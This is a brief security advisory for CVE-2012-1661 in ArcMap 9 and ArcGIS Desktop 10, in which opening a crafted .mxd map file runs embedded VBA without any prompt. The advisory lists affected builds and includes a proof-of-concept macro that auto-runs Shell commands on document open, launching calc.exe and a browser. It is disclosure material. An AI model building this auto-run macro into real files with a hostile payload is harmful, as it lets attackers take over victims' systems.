Description:

Opening a specially crafted mxd file will execute arbitrary
code without prompting and without a crash of the application.
This is due to a flaw in the programs ability to prompt a user
before executing embedded VBA. Mxd files are not filtered by
email systems so this allows a remote attacker to trick a user
into opening a map file via email and unknowingly gain control
over their system.

Versions affected (maybe more):

ArcMap 9

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.1.2800
ArcGIS Service Pack: 1 (build 10.0.1.2800)

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.2.3200
ArcGIS Service Pack: 2 (build 10.0.2.3200)


Proof of concept:

If the following macro is implemented in the project
the Shell statements will be executed when the
document is opened without prompt.

Private Function MxDocument_OpenDocument() As Boolean
  Shell "calc.exe", vbNormalFocus
  Shell "cmd /c start
http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661.htm",
vbNormalFocus
End Function

Video at site:

http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661